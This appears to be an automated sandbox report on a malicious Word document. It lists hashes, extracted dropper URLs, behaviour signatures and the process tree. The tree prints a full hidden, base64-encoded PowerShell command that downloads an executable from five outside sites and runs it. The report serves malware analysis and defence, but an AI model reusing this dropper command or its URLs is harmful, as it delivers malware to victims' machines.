Analysis

  • max time kernel
    119s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    20/11/2024, 11:24

General

  • Target

    14ac81b89e181236572ed0b66e260947c0c7795ce4f81d0b05c10476ed519589.doc

  • Size

    181KB

  • MD5

    333492599bec9611f366b4be18c6c76c

  • SHA1

    fddf9adf5652f810aff7333354ed606b1b0dd2a4

  • SHA256

    14ac81b89e181236572ed0b66e260947c0c7795ce4f81d0b05c10476ed519589

  • SHA512

    cee0c8f27b170437f492eeefc500cde88ea423bfa9f76fc24c78fa0c943d9ea210e1e1b1badab4c0e7fce938d651d7097681dfe5229da7080889cf41f1ed078d

  • SSDEEP

    3072:9NW2y/GdywFyktGDWLS0HZWD5w8K7Nk9rD7IBUQasiv8OJ7H:9NW2k4PF7tGiL3HJk9rD7bQasiv8wz

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\14ac81b89e181236572ed0b66e260947c0c7795ce4f81d0b05c10476ed519589.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2992
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2836
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:536

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\89576389.wmf

      Filesize

      444B

      MD5

      79ac57ce754f4d87df52eb3ad2ca4c3b

      SHA1

      902ea5706eebbb3b46852f62d7ed35a64611b81f

      SHA256

      ab99a6b3772103cefcd75e73b2d30c118182e8996acf93d74ea54f4241e65743

      SHA512

      07bd5e5421388c4156ffabb578282c0ec2c2db6b4dbb1cfd2b5f9cf40e00f8c47578bbaa91e9479ed21bdd55d777c31061bf669131bb29cce6f32638926c4cab

    • memory/536-32-0x0000000002770000-0x0000000002778000-memory.dmp

      Filesize

      32KB

    • memory/536-31-0x000000001B810000-0x000000001BAF2000-memory.dmp

      Filesize

      2.9MB

    • memory/2992-19-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2992-25-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2992-14-0x0000000006700000-0x0000000006800000-memory.dmp

      Filesize

      1024KB

    • memory/2992-17-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2992-18-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2992-22-0x0000000006700000-0x0000000006800000-memory.dmp

      Filesize

      1024KB

    • memory/2992-21-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2992-0-0x000000002F341000-0x000000002F342000-memory.dmp

      Filesize

      4KB

    • memory/2992-23-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2992-5-0x0000000006800000-0x0000000006900000-memory.dmp

      Filesize

      1024KB

    • memory/2992-2-0x0000000070E5D000-0x0000000070E68000-memory.dmp

      Filesize

      44KB

    • memory/2992-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2992-35-0x0000000070E5D000-0x0000000070E68000-memory.dmp

      Filesize

      44KB

    • memory/2992-36-0x0000000006700000-0x0000000006800000-memory.dmp

      Filesize

      1024KB

    • memory/2992-37-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2992-38-0x0000000006700000-0x0000000006800000-memory.dmp

      Filesize

      1024KB

    • memory/2992-39-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB